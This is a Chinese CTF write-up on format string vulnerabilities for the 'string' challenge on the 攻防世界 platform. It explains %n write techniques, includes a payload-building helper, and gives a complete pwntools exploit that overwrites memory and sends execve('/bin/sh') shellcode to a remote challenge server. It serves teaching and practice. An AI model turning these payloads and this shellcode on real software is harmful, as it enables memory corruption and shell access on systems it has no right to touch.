终于进格式化漏洞了,也终于把攻防世界的新手题做完了
先说说原理叭叭叭
常见的好吧就是print函数,根据格式化字符串来输出信息,可以进行写信息
详细请见格式化字符串
下面分别举例子
(一切的根本是可以控制格式化字符串为你想要的东西)
读取信息
- 利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
- 利用 %s 来获取变量所对应地址的内容,只不过有零截断。
- 利用 %order$x 来获取指定参数的值,利用 %order$s 来获取指定参数对应地址的内容
写入信息
主要依靠,type类型【n】
注意这里的偏移计算,主要是找到储存内容的偏移,而不是储存字符串地址的偏移
pwngdb中这个玩意可以帮助我们数数
读入小于4的正整数
这样可以把地址内容改为2
读入大数
有个函数可以直接利用
##big num
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)
构建函数填入即可
当然也可以利用封装函数写入一个地址,上面的就写入大数
* pwntools 中的 fmtstr_payload 函数,比较方便获取我们希望得到的结果,有兴趣的可以查看官方文档尝试。比如这里 fmtstr_payload(7, {puts_got: system_addr}) 的意思就是,我的格式化字符串的偏移是 7,我希望在 puts_got 地址处写入 system_addr 地址。默认情况下是按照字节来写的。
感觉做这些题的要先把程序弄懂
攻防世界string
(还好没开PIE【doge】)
ida就算了,讲讲值得注意的地方
注意这里直接改成了函数指针类型,说明写入的数据可以直接运行,所以可以直接从上面写入shellcode
关键是怎么进入,发现进去条件是最开始的v[0]=v[1],但是没有可以让我们修改的地方,这个时候发现有printf的漏洞可以利用
![上传中...]()
就可以利用这一的漏洞修改相应的地址
![上传中...]()
在偏移为七的地方发现可以利用的参数(1+6)
然后因为第二个scanf是%s,输入地址会被截断。不能利用这个进行内存覆写(我真傻,真的)
WA
# coding=utf-8
from pwn import *
context.log_level = 'debug'
#!usr/bin/python
io = remote('111.200.241.244',43027)
# io = process('./string')
io.recvuntil("secret[0] is ")
v3_0_addr = int(io.recvuntil("\n")[:-1], 16)
log.info("v3_0_addr:" + hex(v3_0_addr))
io.recvuntil("character's name be:")
io.sendline("kk")
io.recvuntil("east or up?:")
io.sendline("east")
io.recvuntil("there(1), or leave(0)?:")
io.sendline("1")
io.recvuntil("'Give me an address'")
io.sendline(str(v3_0_addr))
io.recvuntil("you wish is:")
io.sendline( 'a'*85+ "%7$n")
# shellcode = asm(shellcraft.sh()) #生成的shellcode攻击失败,所以使用反汇编的shellcode
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
io.recvuntil("USE YOU SPELL")
io.sendline(shellcode)
io.interactive()
以上
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。